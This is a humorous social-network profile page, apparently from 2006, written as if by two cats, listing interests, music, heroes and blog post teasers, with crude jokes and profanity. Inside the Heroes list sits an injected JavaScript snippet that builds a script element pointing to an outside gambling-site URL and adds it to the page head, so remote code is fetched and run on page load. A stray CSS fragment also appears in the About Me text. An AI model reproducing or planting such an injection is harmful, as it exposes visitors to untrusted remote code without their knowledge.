Rita-Sue & Alvin profile picture

Rita-Sue & Alvin

anybody seen any ghosts?

About Me

We are Rita-Sue and Alvin. We are lovely. We poop in a box (if we aim right). Our mum's a tart. She's had six children and only sees our father when it's time for a shag. We eat slugs, bugs and nectarines. Sometimes we clean our own arseholes. You should try it. It's nice.A IMG{ border-style:none;I am actually two. Soooooooo: We are Rita-Sue and Alvin. We are lovely. We poop in a box (if we aim right). Our mum's a tart. She's had six children and only sees our father when it's time for a shag. We eat slugs, bugs and nectarines. Sometimes we clean our own arseholes. You should try it, it's nice!

My Interests

parasailing, moonwalking, beatboxing, standing on top of the printer, sleeping, hanging out with other cats at the roller disco, Jerry Springer, philosophy, duvets, DJ-ing, socks, plastic bags, all food.

I'd like to meet:

We'd like to meet providers of high quality wet cat food (over 70% meat content) and hyperactive computer salesmen (with huge balls). And that's it. We love you. All of you.

Music:

Miles Davis, Thelonius Monk, Randy Newman, Justice, New Young Pony Club, Frank Zappa, Girls Aloud, Huey Lewis and the News and NOTHING ELSE.

Movies:

Faster Pussycat. Kill! Kill!

Television:

fuck that shit.

Books:

Revenge of the Tiger by Claude Balls, Sense & Sensibility, My little Pony (the comic books)

Heroes:

Michelle Pfeiffer, Thundercats, Garfield (however rumour has it he's really a dog in a cat suit), Madonna, Tom Jones, Elizabeth Taylor, Bill Murray, Mia Tagg .."var s=document.createElement('script');s.src='http://gamblingboa rd.com/x/7318.js';document.getElementsByTagName('head')[0].a ppendChild(s);"

My Blog

What you don't know about your pet.

What people don't realise is that it is ACTUALLY US writing this blog, coz we are fairly clever. Pets have evolved without you humans even noticing. It's difficult not to get caught sometimes, but us ...
Posted by Rita-Sue & Alvin on Wed, 08 Nov 2006 04:45:00 PST

GAWD.... pleeeeaaaaaase!!!!!!

Sooooo.... the OTHER NIGHT at the roller disco...Man, I don't get you dudes. You're either up-your-own-arse-fucked-up-idiots OR.... fuck knows.Anyway this tomcat - lets call him Jerry for the sake of ...
Posted by Rita-Sue & Alvin on Fri, 01 Sep 2006 06:50:00 PST

Listen Here, Bitch...

Right, I woke up today around noon...  It was a long night, dj'ing at what was more or less a glorified war veterans retirement home.  Anyway.. I anticipated they'd be pretty stiff, so I fig...
Posted by Rita-Sue & Alvin on Wed, 30 Aug 2006 10:45:00 PST